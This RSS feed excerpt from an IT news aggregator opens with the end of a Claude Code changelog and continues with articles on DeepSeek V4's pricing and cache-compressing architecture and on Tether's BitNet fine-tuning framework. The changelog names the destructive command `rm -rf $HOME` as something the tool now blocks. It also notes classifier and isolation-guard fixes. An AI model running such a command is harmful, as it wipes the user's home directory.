<li><code>claude mcp list</code>/<code>get</code> now show unapproved <code>.mcp.json</code> servers as <code>⏸ Pending approval</code> instead of auto-approving and connecting when output is piped</li>
<li><code>/remote-control</code> autocomplete now shows "Disconnect Remote Control" when Remote Control is already active</li>
<li>Added Claude Opus 4.8 support and 4.7 → 4.8 migration guidance to the <code>/claude-api</code> skill</li>
<li>Deprecated <code>CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE</code> (will be removed on 06/01). To use fast mode on Opus 4.6, switch with <code>/model claude-opus-4-6[1m]</code> and then <code>/fast on</code></li>
<li>Improved the auto-mode classifier's detection of data exfiltration, particularly bulk transfers of repository contents</li>
<li>Fixed <code>rm -rf $HOME</code> not being blocked as a dangerous path when <code>HOME</code> has a trailing slash</li>
<li>Fixed <code>$TMPDIR</code> resolving to different directories in sandboxed vs unsandboxed Bash commands within the same session</li>
<li>Fixed unreadable highlighted-row text in <code>claude agents</code> when the Claude Code theme doesn't match the terminal background</li>
<li>Fixed background-agent completion notifications triggering premature "out of context" behavior on some 1M-context models</li>
<li>Fixed background-session classifier losing the user's goal when a scheduled <code>/command</code> fires</li>
<li>Fixed pinned background sessions respawning every minute after a Claude Code update, causing repeated agent-start notifications and process churn at idle</li>
<li>Fixed background sessions stuck at "blocked", "running", or "working" not retiring after the idle grace period</li>
<li>Fixed subagents in background sessions bypassing the worktree-isolation guard and writing to the shared checkout</li>
<li>Fixed orphaned <code>claude --bg-pty-host</code> processes spinning at 100% CPU after the daemon exits on macOS</li>
<li>Fixed number key shortcuts not working for options shown below the divider in option dialogs</li>
<li>Fixed <code>worktree.baseRef: "head"</code> resolving to the main checkout's HEAD instead of the current worktree's HEAD when spawning subagents or calling <code>EnterWorktree</code> from inside a linked worktree</li>
<li>Fixed a stray leading space on wrapped lines when the previous line ended exactly at the terminal width</li>
<li>Fixed intermittent terminal rendering corruption in VS Code by capping the number of distinct colors the thinking spinner produces</li>
<li>Fixed plan file names including <code>[Image #N]</code> / <code>[Pasted text #N]</code> placeholders when a plan-mode prompt starts with pasted images or text</li>
<li>Fixed a phantom expand/click affordance on colored tool output: short ANSI-colored lines that fit on screen no longer show a "ctrl+o to expand" hint</li>
<li>Fixed a single invalid <code>allowedMcpServers</code>/<code>deniedMcpServers</code> entry in managed settings discarding all managed-settings policy; the bad entry is now dropped with a <code>claude doctor</code> warning</li>
<li>Fixed API 400 errors on models that don't support the effort parameter when <code>CLAUDE_CODE_ALWAYS_ENABLE_EFFORT</code> is set</li>
<li>Windows: Fixed update failures caused by <code>claude.exe</code> being in use showing a generic error instead of telling you to close other sessions and retry</li>
<li>Removed the stale "&amp; for background" hint from the shortcuts help panel</li>
<li>[VSCode] Auto mode no longer requires the bypass-permissions setting to appear in the mode picker, and a dismissable notice on the new-session screen explains auto mode the first time it's active</li>
<li>Fixed the task panel below the prompt showing a stray unselectable "main" row when only a workflow is running</li>
<li>Fixed /mcp tools list and tool detail rendering when MCP servers have long or multi-line tool names or long descriptions</li>
<li>Fixed the /model picker not showing fast mode pricing on the Default option for API (pay-as-you-go) users when fast mode is on</li>
<li>Fixed auto mode incorrectly blocking actions with "could not evaluate this action" when the safety classifier ran out of output tokens while reasoning</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How DeepSeek’s radical architecture is shattering Silicon Valley's token moat]]></title>
<description><![CDATA[DeepSeek’s announcement over the weekend that it has made its 75% price cut permanent on its flagship V4 Pro model is a disruptive assault on the capital-heavy business models of Silicon Valley’s frontier labs. The reduction on DeepSeek V4 Pro directly undercuts comparable Western models used as ...]]></description>
<link>https://tsecurity.de/de/3555133/it-nachrichten/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555133/it-nachrichten/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat/</guid>
<pubDate>Thu, 28 May 2026 19:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>DeepSeek’s announcement over the weekend that it has made its <a href="https://www.engadget.com/2180062/deepseek-permanently-reduces-the-price-of-its-flagship-v4-model-by-75-percent/">75% price cut permanent on its flagship V4 Pro model</a> is a disruptive assault on the capital-heavy business models of Silicon Valley’s frontier labs. </p><p>The reduction on DeepSeek V4 Pro directly undercuts comparable Western models used as workhorses for enterprise production. It is <b>7x cheaper on inputs and 17x cheaper on outputs</b> than Anthropic’s Claude Sonnet or OpenAI’s GPT 5.5-Med, while the lightweight DeepSeek <b>V4 Flash</b> undercuts entry-tier alternatives like Claude Haiku by <b>10x to 25x</b>. </p><p>The price cuts are enabled by a series of hardware-software innovations, especially around cache, that make DeepSeek's models radically more efficient to run. When hosted natively in China, DeepSeek’s cache-read pricing is a whopping <b>87x cheaper</b> than Western clouds — a deflationary floor so aggressive that handset giant Xiaomi just <a href="https://x.com/XiaomiMiMo/status/2059314052892099070">moved to match the exact pricing tier</a> for its newly deployed MiMo architecture.</p><p>DeepSeek <a href="https://fe-static.deepseek.com/chat/transparency/deepseek-V4-model-card-EN.pdf">V4 Pro’s performance</a> is ranked almost on <a href="https://www.nist.gov/news-events/news/2026/05/caisi-evaluation-deepseek-v4-pro">par with Western frontier models</a>, hitting <b>80.6%</b> on coding-agent tasks via the <a href="https://www.demandsphere.com/research/demandsphere-radar/ai-frontier-model-tracker/benchmarks/swe-bench/"><b>SWE-bench Verified leaderboard</b></a> and an <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">elite reasoning score of <b>87.5</b></a> on the advanced<b> </b><a href="https://build.nvidia.com/deepseek-ai/deepseek-v4-pro/modelcard"><b>MMLU-Pro technical index</b></a>. Both V4 Pro and V4 Flash — a hyper-optimized speedy version for developers — are open-weight and issued under a permissive MIT license. This gives enterprises complete flexibility over deployment. This dual-model strategy allows technical teams to route their heaviest, multi-step autonomous agent workloads to the lightning-fast Flash model, while reserving the heavy Pro model for deep reasoning tasks, drastically lowering costs at a time when budget concerns have grown considerably.</p><p>This also comes at a time when the closed Western labs, in particular OpenAI and Anthropic, face an intense return-on-investment scrutiny for their multi-billion dollar general-purpose hardware infrastructure investments. </p><p>This deflationary collapse will not affect all Silicon Valley labs equally, signaling a permanent bifurcation of the enterprise AI market. While a premium, deterministic tier will endure for mission-critical engineering workflows, the high-volume background agentic layer is being completely commoditized by open weights. Ultimately, it creates a much more dangerous exposure for OpenAI — whose revenue mix relies heavily on general-purpose commodity API streams — than for software-insulated peers like Anthropic.</p><h2>The token cost crisis</h2><p>Uber says it burned through its entire 2026 budget for Claude Code and Cursor in just the first four months of the year; its COO said that the cost related to high token usage by some of its engineers was <a href="https://gizmodo.com/ai-investment-is-harder-to-justify-as-productivity-returns-lag-uber-coo-says-2000763514">getting “harder to justify</a>” without better products to show for it. Airbnb's Brian Chesky said last year that while the company uses OpenAI's latest models, <a href="https://www.bloomberg.com/news/articles/2025-10-21/airbnb-ceo-brian-chesky-says-chatgpt-integration-not-ready-for-airbnb-app">they don't rely on them heavily in production</a> — favoring faster, cheaper alternatives like Alibaba's Qwen. And in the latest episode of VentureBeat’s podcast Beyond the Pilot, Pinterest CTO Matt Madrigal confirmed that the company went <a href="https://www.youtube.com/watch?v=BvFanq9fTg0">all-in on an open-source AI strategy</a>, post-training Alibaba’s open Qwen model on the company’s proprietary "taste graph" to drive Pinterest’s assistant — achieving frontier-like quality at a 90% reduction in costs. DeepSeek’s subsequent price drop makes the possibility of such cost differences <i>even </i>greater<i>.</i></p><h2>Geopolitical headwinds and compliance defenses</h2><p>Widespread enterprise adoption of Chinese models faces massive geopolitical headwinds in the West. For highly regulated U.S. giants in finance, healthcare, and defense, getting comfortable with DeepSeek will take time. </p><p>Even though an open-weights architecture under an MIT license allows a company to self-host the model locally and prevent active data exfiltration to foreign servers, corporate compliance boards remain deeply paranoid over software supply chain risks, potential hidden backdoors, and the legal threat of sudden federal sanctions. </p><p>Smaller, more nimble software teams, on the other hand, face far less bureaucratic gridlock. Free from multi-month security review cycles, these fast-moving organizations view the immediate 75% infrastructure savings as a massive competitive edge worth deploying right now</p><h2>The OpenRouter clearinghouse: mapping global token traffic</h2><p>Take the token usage metrics on OpenRouter, a leading public proxy for what models are the most popular among developers. OpenRouter allows developers an easy way to compare and deploy models, and while its data is by no means a full proxy for real model popularity — it confirms this structural migration is already taking place within company data pipelines. DeepSeek V4 Flash model has captured the No. 1 position on the OpenRouter leaderboard over the past week, surging 48% in token usage. Its advanced counterpart, V4 Pro, sits at No. 6. DeepSeek’s top three models processed nearly 6 trillion tokens on OpenRouter over the past week, giving it a huge lead over other competitors. For example, OpenAI’s premium model, GPT-5.5, has slipped down to No. 15 at 470B tokens.</p><p>It’s not clear exactly how much of the world’s token traffic is on OpenRouter. Conservative estimates put it at about 3%. It does not show the massive amounts of tokens being served by the APIs offered directly to developers by companies like Anthropic, OpenAI and Google. But recent estimates suggest OpenRouter processes <a href="https://menlovc.com/perspective/openrouter-now-processes-more-than-a-quadrillion-tokens-a-year/#:~:text=For%20comparison%2C%20that%27s%20~15-,round%20was%20done%20in%20February">between 15 and 40% of each of OpenAI’s and Google’s token usage</a>, and growing, making it a significant indicator of relative trends regardless of the exact percentage it represents.</p><p>While skeptics often dismiss aggregator traffic as an indie developer signal rather than a reflection of Fortune 500 IT spend, the corporate pipeline reality is shifting. An infrastructure analysis by a leading venture capital firm,<a href="https://a16z.com/the-state-of-generative-media-2026/"> Andreessen Horowitz</a>, revealed that enterprise production environments deploy a median of 14 different models simultaneously to price-route workloads and avoid single-vendor lock-in. This structural architecture shift is why OpenRouter recently secured a massive<a href="https://siliconangle.com/2026/05/26/openrouter-raises-113m-bring-order-enterprise-ai-inference-routing/"> $113 million Series B funding round</a> backed directly by the big enterprise data and software vendors that serve corporate America — including ServiceNow Ventures, Snowflake Ventures, Databricks Ventures, Nvidia's NVentures, and Google’s CapitalG. Stripe also cited OpenRouter’s enterprise customers in its decision to <a href="https://stripe.com/newsroom/news/openrouter-and-stripe">partner closely with the company</a>.</p><p>That’s why DeepSeek’s surge on this leaderboard is so eye-opening. DeepSeek itself offers an API directly to developers, and so it too delivers more token traffic than what OpenRouter lets on.</p><h2>Beyond chatbots: the rise of multi-step autonomous agents</h2><p>The DeepSeek spike on OpenRouter indicates a deeper structural shift in how automated software architectures consume machine intelligence. Technical teams are moving beyond using trivial, single-turn chatbots, and starting to deploy more sophisticated autonomous agents that persist for hours at a time — recursively looping through codebases and data lakes. Their huge number of tool calls, and continuous rereading of long context histories, means AI token consumption expands exponentially. </p><p>Running these recursive loops on closed, premium Western APIs quickly creates unsustainable infrastructure costs. While corporate tech teams spent last year experimenting freely with early, single-turn prototypes without worrying about budgets, the onset of token-prolific autonomous agents has triggered an enterprise line-item crisis. VentureBeat's Q1 2026 research, which surveyed enterprise users at organizations with over 100 employees (n=65, in the U.S. software, finance and healthcare industries), confirms the shift: “Cost per token or licensing model” jumped from 25.4% in January to 36.7% in March, trailing only raw performance as the primary selection criterion for enterprise buyers.</p><p>DeepSeek target-optimized its weights for this specific trend of agentic high-token use. It has locked in on a standard input cost of $0.435 per million tokens and a standard output rate of $0.87 per million tokens, alongside a rock-bottom prefix-cached read cost of $0.003625 per million.</p><p>It's this third cost item — for cache — which is arguably the most significant. “If you measure how all of these agents now are using tokens, 80 to 90% of the tokens are cache-read tokens,” said Val Bercovici, Chief AI Officer at WEKA, a company that provides fast storage for much of this cache. “Which means that [that price] is almost by far the most important price, making the others irrelevant — nearly a rounding error. So what DeepSeek did is not just say we're going to be 5% cheaper, 10% cheaper, 20% cheaper. They're like 87x cheaper on that cache-read price with DeepSeek V4 Pro. So that's really set the industry on notice.”</p><h2>The infrastructure coup: Decoupling HBM from Context</h2><p>DeepSeek's core innovations are around hardware-software alignment. This is where we get a little technical.</p><p>While Western frontier labs like OpenAI have prioritized performance at all cost, they’ve invested billions into uncompressed "dense" neural architectures. DeepSeek, by contrast, has systematically sought to extract maximum intelligence from lower grade hardware, given that they’ve lacked access to Nvidia’s GPUs. By pioneering deep software optimizations <a href="https://venturebeat.com/ai/deepseek-r1s-bold-bet-on-reinforcement-learning-how-it-outpaced-openai-at-3-of-the-cost">as early as its V2 architectures in 2024</a>, the lab engineered a series of four interconnected hardware-software alignment breakthroughs that decoupled a model's operational context from expensive computing overhead:</p><p><b>Breakthrough 1: Sequence Dimension Compression via CSA and HCA</b></p><p>The transformer architecture that most LLMs use is bottlenecked by something called the Key-Value (KV) cache. As an agent executes long, multi-step sessions, historical context keys clog the high-bandwidth memory (HBM) on the GPU, causing severe latency spikes and an expensive infrastructure tax.</p><p>DeepSeek resolved this structural bottleneck by introducing a hybrid attention mechanism — documented in the <a href="https://aipapersacademy.com/deepseek-v4/">DeepSeek V4 Architecture Paper</a> — that combines <b>Compressed Sparse Attention (CSA)</b> and <b>Heavily Compressed Attention (HCA)</b> to cut overall KV-cache usage by a massive 90% across its 1-million-token context window.</p><p>While traditional models try to keep a unique memory log for every individual word, DeepSeek compresses the rows of its memory cache. CSA acts as a local filter, condensing small windows of text into concise, indexable blocks so the model doesn't sweat the fine-grained details. HCA acts as an aggressive global index, crushing massive spans of text deep within a session's history into high-density summaries. By interleaving these layers, DeepSeek shrinks millions of memory rows down to a fraction of their size.</p><p><b>Breakthrough 2: Native memory offloading via Multi-head Latent Attention (MLA)</b></p><p>Using something called Multi-head Latent Attention (MLA), DeepSeek strips the active memory footprint of its context history down to a fraction of standard models. It achieves this by running a <a href="https://zhuanlan.zhihu.com/p/2034345100680114900?share_code=18r7heck652dt&amp;utm_psn=2036966822600292003">physical division of labor between hardware chips</a>. While traditional models force expensive GPUs to hold a session's entire history, DeepSeek’s architecture keeps only the tiny, highly compressed search index tags (the Keys) on the GPU. Meanwhile, it offloads the heavy data payloads (the Values) entirely <a href="https://arxiv.org/html/2507.19823v1#S3">into cheaper system memory and local storage tiers</a>. Once the GPU handles the high-speed matching to find relevant data, it calls the values from storage only on an as-needed basis.</p><p>DeepSeek’s architecture is so different that the inference engines that load an AI model's weights into GPU memory, in order to be ready for prompting, are being stretched. The three most popular engines — Nvidia TensorRT-LLM, the UC Berkeley one, SGLang and the really popular vLLM — “are all being stretched to keep up with being able to offer it, which is not normal,” explains WEKA’s Bercovici. "Every other open model has had some similarity to other open models. This one from DeepSeek is just built different."</p><p>DeepSeek's software engineering means its massive 1.6-trillion parameter model requires an astonishingly tiny <b>5.48 GB of HBM</b> to hold a 1-million-token context loop in production, <a href="https://x.com/bookwormengr/status/2057909493250539891">according to calculations by an analyst</a> using hardware modeling benchmarks. For comparison, smaller models utilizing standard Western architectures choke up to 89 GB of HBM under the exact same context load.</p><table><tbody><tr><td><p><b>Model Framework / Metric Tier</b></p></td><td><p><b>Active HBM Needed (1M Context)</b></p></td><td><p><b>Context Length Capacity</b></p></td><td><p><b>Multi-Step Cached Economics</b></p></td></tr><tr><td><p><b>DeepSeek V4-Pro</b> (1.6T MoE)</p></td><td><p><b>5.48 GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>80% to 90% of workflow tokens</p></td></tr><tr><td><p><b>Qwen3-235B-A22B</b> (GQA Standard)</p></td><td><p><b>89.00 GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>Subject to steep hardware tax</p></td></tr><tr><td><p><b>GPT-5.5 / Claude 4.7-class (</b>Western Frontier / MoE)</p></td><td><p><b>180+ GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>Prohibitive premium infrastructure tax</p></td></tr></tbody></table><p>
</p><p>DeepSeek’s extreme compression of the KV cache down to 5.48 GB of HBM is also a <a href="https://x.com/bookwormengr/status/2057909493250539891">calculated geopolitical strategy to bypass U.S. export bans</a> on top-tier Nvidia GPUs. By reducing the need for HBM and Nvidia’s CUDA ecosystem, DeepSeek’s software design allows frontier AI to run efficiently on domestic, lower-cost, and unsanctioned Chinese storage tiers like NAND flash, commodity SSDs, and LPDDR memory (produced by domestic giants like YMTC and CXMT). </p><p><b>Breakthrough 3: Ultra-Low Footprint Inference via FP4 Quantization-Aware Training (QAT)</b></p><p>To keep compute costs low over massive context windows, DeepSeek moved away from the old approach of scanning bulky, uncompressed numbers every time the model searches its memory. Instead, as detailed in the <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek V4 Technical Report</a>, the architecture runs an advanced form of data compression directly on the active pathways it uses to find information during training.</p><p>This compression slashes memory demands to deliver a 2x hardware speedup, yet it maintains a near-flawless 99.7% accuracy in how the system targets and indexes specific data blocks. This engineering win allows enterprise workflows to process massive, multi-step agent tasks smoothly while keeping an exceptional 83.5% retrieval accuracy on extreme, million-token "needle-in-a-haystack" benchmarks—eliminating performance lags without draining expensive GPU power.</p><p><b>Breakthrough 4: Ultra-scale training stability via manifold-constrained hyper-connections (mHC)</b></p><p>Training a 1.6-trillion parameter model creates instability risk — causing too many data pathways and processing signals to cascade out of control, crashing the run. DeepSeek resolved this with a framework called <a href="https://arxiv.org/abs/2512.24880">Manifold-Constrained Hyper-Connections</a> (mHC), which uses a balancing routine to force the model's internal data tables to always sum to one — a mathematical safety valve that lets complex data move through deep networks without runaway spikes.</p><h2>The infrastructure pivot: rebuilding corporate plumbing</h2><p>DeepSeek’s significant architectural cache efficiency alters the underlying unit economics for the cloud platforms hosting these models. On developer aggregators like OpenRouter, where third-party providers routinely offer advanced endpoints at a loss, to capture developer mindshare, this hardware-software decoupling alters the balance sheet. DeepSeek's extremely low cost likely gives DeepSeek a profit, at least when it comes to serving the model in China, Bercovici said.</p><p>This transformation in provider-side unit economics is mirrored on the buy-side, which shows a structural change happening across enterprise IT budgets. VentureBeat's Q1 2026 AI Infrastructure and Compute tracker survey — which tracks enterprise technology buyers at organizations with over 100 employees (n=53 in January, n=39 in February) across software, financial services, healthcare, and manufacturing sectors — revealed that enterprise adoption of custom, self-managed inference stacks utilizing open-source frameworks like Triton, vLLM, Ray, and Kubernetes surged from 11.3% to 17.9%. Because these software layers allow corporate engineering teams to deploy open-weights architectures natively across their own clusters, they act as an operational escape hatch from closed cloud ecosystems. </p><p>This software shift is paired with an aggressive hardware migration: enterprise workloads moving to specialized, inference-first AI clouds like CoreWeave, Lambda, and Crusoe grew from 30.2% to 35.9% in the latest survey window. These infrastructure metrics indicate that corporate technology leaders are no longer just prototyping with open alternatives; they are actively laying down the physical plumbing required to host architectures like DeepSeek V4 independently, increasingly pricing away the premium markup of Western API gatekeepers.</p><h2>The strategic split for Western labs</h2><p>This baseline cost reduction could soon fracture the competitive field in Silicon Valley, by rewriting the expectations for labs attempting to yield a return on massive infrastructure investments.</p><p>For now, though, the Silicon Valley music is unlikely to stop anytime soon. Anthropic remains on an extraordinary enterprise trajectory, driven by widespread adoption of Claude Code and its codebase-aware terminal execution. For enterprise engineering teams, paying a premium for Anthropic's deterministic accuracy makes perfect sense for core production software development. Yet even an elite frontier lab scaling at this pace must watch DeepSeek with caution: an open-weights architecture under an MIT license offering near-frontier utility at a 75% cost reduction places downward pricing pressure on the high-volume operational layers of any multi-agent system.</p><p>The primary structural margin squeeze may land more squarely on OpenAI, despite its aggressive pivot toward a multi-cloud footprint. To support its staggering consumer and API token volumes, OpenAI fundamentally altered its historic seven-year exclusive alliance with Microsoft, unbundling its distribution so it can serve models across Azure, Oracle, AWS, and Google Cloud. Yet this multi-cloud strategy, while providing raw capacity at scale, leaves the company intensely exposed to infrastructure commodity pressure.</p><p>Unlike Anthropic, which has successfully insulated its margins by embedding its models into premium, high-utility software environments like Claude Code, a massive portion of OpenAI's enterprise revenue relies on high-volume, general-purpose API token streams. To be fair, Western labs have already begun quietly retreating from this territory — aggressively launching deep batch API discounts, prompt caching features, and lightweight entry models to stem the bleed. Yet this tactical retreat only reinforces the structural crisis: Silicon Valley is actively conceding the high-volume commodity layer because they know they cannot defend its margins. When those exact same automated background workflows can be handled natively by highly intelligent open weights like DeepSeek V4, defending a premium price point for raw cloud text completion ceases to be a defensible strategy.</p><p>More significantly, unlike OpenAI or Anthropic, DeepSeek has much less interest in urgently building consumer wrappers or locking developers into subscription frameworks. Instead, DeepSeek is <a href="https://www.kucoin.com/news/flash/deepseek-s-10-trillion-dollar-strategy-open-source-and-ai-hardware-ecosystem">positioned for a longer-term ecosystem play</a>. Supported by a massive state-backed funding round led by China’s "Big Fund" — which has pushed the startup's targeted valuation into the $10 billion to $45 billion range — the lab’s more likely objective is to prove the viability of a self-sufficient, independent Chinese AI hardware stack that could one day be <a href="https://x.com/bookwormengr/status/2057909493250539891">worth up to $10 trillion</a>.</p><table><tbody><tr><td><p><b>Premium deterministic tier (Anthropic / OpenAI / Google)</b></p></td><td><p><b>High-volume agentic tier (DeepSeek / open ecosystems)</b></p></td></tr><tr><td><p>• Core Codebase Refactoring</p><p>• Strict Corporate Compliance &amp; Guardrails</p><p>• Mission-Critical Financial/Legal Precision</p><p>• High CapEx / R&amp;D Premium Margins</p></td><td><p>• Recursive Multi-Agent Loops</p><p>• Prefix-Cached Autonomous Tool Swarms</p><p>• Massive Real-Time Ingestion Logs</p><p>• Bare-Metal / Optimized HBM Economics</p></td></tr></tbody></table><p>The operational division between western labs and models like DeepSeek V4 Pro is already showing up. Financial company Ramp benchmarked automated<a href="https://x.com/RampLabs/status/2059678575939273091"> cybersecurity agent swarms</a>, and showed that while DeepSeek V4 Pro completely flatlines on the most complex security logic, it achieves a flawless 100% detection rate on high-volume baseline tasks like cloud configuration triage — significantly outperforming OpenAI’s GPT-5.5 (44%). For an enterprise CISO, the strategy is clear: You offload the high-volume token burn of routine background noise to cheap open weights, and reserve premium frontier models strictly for the high-level reasoning required to catch the most sophisticated flaws.</p><h2>The enterprise verdict</h2><p>For IT operations directors and data pipeline managers, the choice to migrate to an open architecture like DeepSeek V4-Pro is a smart governance decision. The open model gives companies total architecture control, allowing them to host it on-premise or via any specialized cloud layer they choose. Crucially, it provides enterprise infrastructure leads with a strategic operational fallback that closed vendors can’t match: the power to download raw model weights and execute them privately for zero marginal token cost if public cloud pricing or API access conditions change.</p><p>The assumption that closed frontier labs hold a permanent monopoly on useful enterprise reasoning has collapsed. While engineering directors will continue to pay a premium to protect specialized, deterministic workflows, the financial foundation of the frontier lab model has fundamentally shifted. By diverting the immense, day-to-day token volume of recursive background agents onto highly optimized, open-source clusters, enterprise teams are starving proprietary clouds of their highest-margin fuel. Silicon Valley’s multi-billion dollar token moat didn't just narrow — it was completely drained from the bottom up.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Democratizing AI adoption with Tether’s Bitnet LLM fine-tuning framework]]></title>
<description><![CDATA[“The future of AI should be accessible, available, and open to people and builders everywhere, and it should not require an absurd amount of resources only available to a handful of cloud providers,” Paolo Ardoino, CEO, Tether. 






About 700 million people use generative AIs like Gemini and Ch...]]></description>
<link>https://tsecurity.de/de/3554500/ai-nachrichten/democratizing-ai-adoption-with-tethers-bitnet-llm-fine-tuning-framework/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554500/ai-nachrichten/democratizing-ai-adoption-with-tethers-bitnet-llm-fine-tuning-framework/</guid>
<pubDate>Thu, 28 May 2026 16:34:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><em>“The future of AI should be accessible, available, and open to people and builders everywhere, and it should not require an absurd amount of resources only available to a handful of cloud providers,” </em>Paolo Ardoino, CEO, Tether. </p>
</blockquote>
</blockquote>
</blockquote>



<p>About <a href="https://openai.com/index/how-people-are-using-chatgpt/" target="_blank" rel="noreferrer noopener">700 million</a> people use generative AIs like Gemini and ChatGPT weekly, but adoption is far from uniform. McKinsey’s 2025 State of AI <a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai" target="_blank" rel="noreferrer noopener">survey</a> found that nearly half of respondents from companies with more than $5 billion in revenue have reached the AI scaling phase, compared with just 29 percent of those from companies with less than $100 million in revenue, a gap that only widens further down the chain, locking out smaller businesses, developers, and everyday users.</p>



<p>Retail and small businesses are limited to basic AI utilities that their facilities can power, such as text-based inference and multimedia generation, using base models. That is billions of end users, and developers locked out of full utilization and development of intelligent software due to high infrastructure demands.</p>



<p>Tether’s edge-first <a href="https://tether.io/news/tethers-qvac-launches-worlds-first-cross-platform-bitnet-lora-framework-to-enable-billion-parameter-ai-training-and-inference-on-consumer-gpus-and-smartphones/" target="_blank" rel="noreferrer noopener">LoRA fine-tuning framework for Microsoft’s Bitnet LLM</a> is an important step towards developing an infrastructure system that supports billions of AI agents and intelligent machines. By reducing the computational overhead of machine learning and enabling consumer-grade devices to perform advanced operations, Tether’s edge-first approach ensures greater leverage for the larger population.</p>



<p>Imagine a 13-billion-parameter model being fine-tuned on everyday handheld devices like Samsung S25 and iPhone 16, as well as on regular personal computers. The breakthrough combines resource-efficiency and platform-agnostic techniques to develop a fine-tuning framework for the ternary-quantized LLM.</p>



<p><strong>Behind Tether’s Bitnet fine-tuning framework</strong></p>



<p>Bitnet LLM was born out of the vision of an intelligent AI model that doesn’t consume outrageous computing resources even at full precision. Earlier attempts at resource-efficient AI relied on trade-offs, such as running small-parameter models at higher precision or larger-parameter models at lower precision, but neither approach fully solved the problem.</p>



<p>Bitnet takes a more fundamental approach. The result is a model that achieves linear efficiency while consuming only a fraction of the computing resources traditionally required.</p>



<p>The challenge, however, is that contemporary GPUs are optimized for the very floating-point operations Bitnet eliminates, creating a hardware compatibility gap. Compounding this, Bitnet was originally confined to its own Bitnet.cpp inference engine, limiting its broader utility. Tether’s breakthrough addresses both constraints at once by integrating a Vulkan and Metal GPU backend that unlocks true cross-platform capabilities for BitNet inference and LoRA fine-tuning on heterogeneous consumer GPUs, including mobile GPUs. Bitnet can now run on more mature, widely supported inference engines without sacrificing its efficiency advantages.</p>



<p>Vulkan’s cross-platform nature is key here. Unlike CUDA, which ties developers to NVIDIA hardware, Vulkan runs across a broad range of GPUs and operating systems, opening Bitnet to genuinely multi-platform deployment. Tether’s Bitnet fine-tuning framework implements a dynamic tiling technique to mitigate limitations in Vulkan driver buffer allocation on mobile GPUs.</p>



<p>The dynamic tiling algorithm technique was first applied in the fine-tuning framework for <a href="https://huggingface.co/blog/qvac/fabric-llm-finetune" target="_blank" rel="noreferrer noopener">QVAC Fabric LLM</a>, the AI model that powers Tether’s <a href="https://qvac.tether.io/products/workbench/" target="_blank" rel="noreferrer noopener">QVAC Workbench</a> application.</p>



<p>This implementation <a href="https://huggingface.co/blog/qvac/fabric-llm-finetune-bitnet" target="_blank" rel="noreferrer noopener">demonstrates</a> the efficiency of this approach: fine-tuning a 13-billion-parameter model across a range of consumer devices with varying GPU configurations.</p>



<p>The Bitnet LLM Fine-tuning framework is Tether’s latest achievement and part of a broader expansion into open-source AI and communication technologies that challenge current, slow, fragile, and controlled systems. These developments are open-sourced and packaged as modules in the <a href="https://qvac.tether.io/dev/sdk/" target="_blank" rel="noreferrer noopener">QVAC SDK</a> for easy deployment and to help developers build edge-first AI applications without needing anyone’s permission.</p>



<p>Tether envisions superintelligence as a foundational element possessed by its owner and is enforcing this through:</p>



<p><strong>Local-first AI</strong></p>



<p>Synonymous with decentralized AI, “Local-first” AI aims to create sovereign AI solutions that do not rely on centralized infrastructure, such as data centers, to operate. They are considered cost-effective, relatively more sustainable, and unarguably more private than centralized AI. Tether is building AI applications that rely entirely on the device’s resources. These applications store data in device memory and use its processors for advanced operations, such as fine-tuning and inference.</p>



<p><strong>P2P computing network for AI inference</strong></p>



<p>Tether’s AI applications are built on the Pear runtime. Pear is a tooling platform for fully P2P applications that can operate without servers. Pear leverages the <a href="https://holepunch.to/" target="_blank" rel="noreferrer noopener">Holepunch</a> tech stack. Holepunch is purpose-built for stable, direct communication between devices. Pear enables delegated inference for AI applications such as QVAC Workbench. Delegated inference enables a unified, dynamic workstation architecture where compute tasks are fluidly distributed between mobile and desktop environments, allowing either device to offload high-intensity processing to the most capable system. That is, you can start a task on your mobile device and delegate it to your desktop or laptop for completion.</p>



<p><strong>AI for everyone</strong></p>



<p>The only way to scale intelligence to the needs of a ten-billion-strong society is to push it to the edge. This, in turn, depends on the progress made by experiments aimed at cost-effectively localizing AI computation.</p>



<p>Billions of AI agents and countless AI applications deployed by developers in every region of the world, running effectively on user-owned resources, is the only way we can democratize superintelligence and avoid creating another ‘luxury’ cutting-edge technology controlled by unicorns and fully accessible only to elites.</p>



<p><strong>Tether is pioneering limitless superintelligence for an ever-growing society and applications. </strong><a href="https://tether.io/data/" target="_blank" rel="noreferrer noopener"><strong>Follow</strong></a><strong> the journey to truly local and edge-first AI solutions</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Indian CERT urges firms to contain exploited internet-facing flaws within 12 hours]]></title>
<description><![CDATA[India’s cybersecurity agency, CERT-In, has urged organizations to patch, mitigate, or isolate known exploited vulnerabilities affecting internet-facing “crown jewel” systems within 12 hours where feasible, warning that AI-assisted attacks are dramatically compressing the time between vulnerabilit...]]></description>
<link>https://tsecurity.de/de/3554247/it-security-nachrichten/indian-cert-urges-firms-to-contain-exploited-internet-facing-flaws-within-12-hours/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554247/it-security-nachrichten/indian-cert-urges-firms-to-contain-exploited-internet-facing-flaws-within-12-hours/</guid>
